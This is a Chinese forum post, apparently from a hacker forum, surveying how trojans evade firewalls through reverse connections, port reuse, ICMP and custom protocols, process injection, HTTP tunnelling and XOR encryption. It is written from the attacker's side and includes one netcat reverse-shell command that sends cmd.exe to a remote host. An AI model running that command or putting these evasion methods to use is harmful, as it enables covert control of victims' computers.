返回列表 回復 發帖

木馬是如何穿過防火牆的

木馬是如何穿過防火牆的

   網路不太平,誰上網都會架起個firewall來防護網路攻擊,這豈不是給我們木馬的生存帶來了巨大挑戰?

    物競天擇,適者生存,嗯...要想生存下去就要穿牆! Bypass Firewall:

    1. 首先就是No Firewall(允許本地對外監聽基本上任何端口),沒有防火牆?(這不是廢話?)

    對付這種機器好辦,隨便哪個馬一般都行典型代表 Radmin(其實它不是馬,用的人多了,也就變成了馬,無辜)

    rdp 3389/tcp (遠程桌面,它也不是馬,不過你不用,還有誰用呢?)

    2. 端口篩選(只允許外部連接特定端口,也就是外部對特定端口發起syn連接請求才被接受,從而完成三次握手,建立連接,否則防火牆丟棄數據包,無法完成握手,無法建立連接,也就是木馬不能隨意開個端口就監聽了)

    道高一尺,魔高一丈.:

    你不讓我連你,我就讓你連我唄, 反彈端口技術誕生了(一般防火牆對本地發起的syn連接請求不會攔截)

    使用工具netcat就可以穿刺這種防火牆 :

    nc -e cmd.exe 遠程ip 遠程監聽port

    隨後,端口複用技術也出現了,複用防火牆開放的端口:如80,21,445等

    典型的後門如hkdoor,ntrookit(作者都是國人yyt_hac )

    還有利用無端口協議來通信,如利用icmp報文,(Ping就是利用的ICMP協議的 Echo Request和Echo Reply探測主機存活)

    典型的如pingdoor (Ping由於使用icmp報文,根本不開放端口,端口篩選也就無可奈何了,但是icmp並無差錯控制,所以這種後門的傳輸特性也並不理想,除非自己加上差錯控制)

    更牛的,就是乾脆拋開TCP/IP協議,木馬自定義協議進行通信,你防火牆能把我怎麼樣?哈哈

    典型的如ntrootkit採用了自定義協議技術.

    3.應用程式篩選.(只允許特定程式訪問網路)

    木馬也不甘落後,自己不能訪問網路,只好寄人籬下:

    進程插入技術誕生了,通常firewall都要允許 iexplore.exe,explore.exe,svchost.exe,services.exe等程式訪問網路,於是木馬便盯上了這些程式.插入...插入再插入

    現在的遠程控制一般都是插入進程式,一是隱蔽(沒有自己進程),二是穿牆.典型如Bits.dll(替換系統服務 BITS,插入svchost.exe中) 和灰鴿子/PcShare(默認插入iexplorer.exe流覽器進程)等.

    4.協議篩選.

    (例如,只允許80端口通過http協議,這樣那些端口複用的後門沒有使用http協議,不幸被防火牆拒之門外.:-)

    怎麼辦? 暗渡陳倉, 挖隧道: http-tunnel (http隧道)將木馬通信封裝成http數據報進行傳輸.

    使用這種技術的有pcshare(使用雙向http隧道傳輸)

    5.IP過濾,一般就是化分為本機,局域網,廣域網三個層次,不過木馬也不是吃素的,有些木馬已經開始智能化了:

    比如,無法連到駭客主機或者跳板,就搜索本機的代理設置,如IE代理設置,然後代理出去!

    可以想像P2P形式的馬也將於不久以後成為可能,這樣木馬和僵屍網路的區別就更小了 呵呵

    6. 現在很多防火牆都可以檢測傳輸的敏感資訊,如用戶口令等,所以抗IDS,抗自動分析,這便成了高級木馬需要考慮的東西,換句話說保護駭客控制的安全性和隱秘性.典型的解決方法就是採取加密措施,如最簡單的對付IDS檢測的方法,xor異或加密.

    但是現在的防護牆肯定不是以上技術的分離,而是一定有多項技術同時採用.

    同時,綜合利用以上對抗技術的木馬也不鮮見了.

    木馬和防護牆 永遠是一對矛盾,彼此鬥爭,彼此發展.呵呵
返回列表